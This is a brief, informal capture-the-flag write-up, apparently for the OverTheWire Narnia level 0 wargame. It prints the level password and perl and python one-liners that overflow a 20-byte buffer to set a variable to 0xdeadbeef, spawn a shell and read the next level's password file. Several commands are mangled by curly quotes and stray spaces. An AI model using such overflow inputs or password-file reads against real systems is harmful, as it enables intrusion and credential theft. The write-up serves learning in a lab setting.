Classical, very classical. Here is the source code:

narnia0: narnia0
note: ls -ahl
eaa6AjYMBB
perl -e ‘print “A”x20 . “\xef\xbe\xad\xde” . “B”x4072 . “cat /etc/ narnia_pass/narnia1″‘ | ./narnia0
buffer overflow
- Going into the /narnia directory to view the narnia0.c source code, it was found that the value of the val variable needs to be changed to: 0xdeadbeef in order to get the shell.
- It was found that val can be modified by inputting data beyond the length of the buf[20] array.
- By (python -c ‘print “a “*20+”\xef\xbe\xad\xde”‘ ;cat) to modify the value of val, note that you need to add cat command to get the EOF terminator, otherwise the program will be executed. Otherwise, the programme will exit directly after system(“/bin/sh”).
That’s funny, I want know more, but not today XD. Today is K2 VS LNG, I must watch this math!
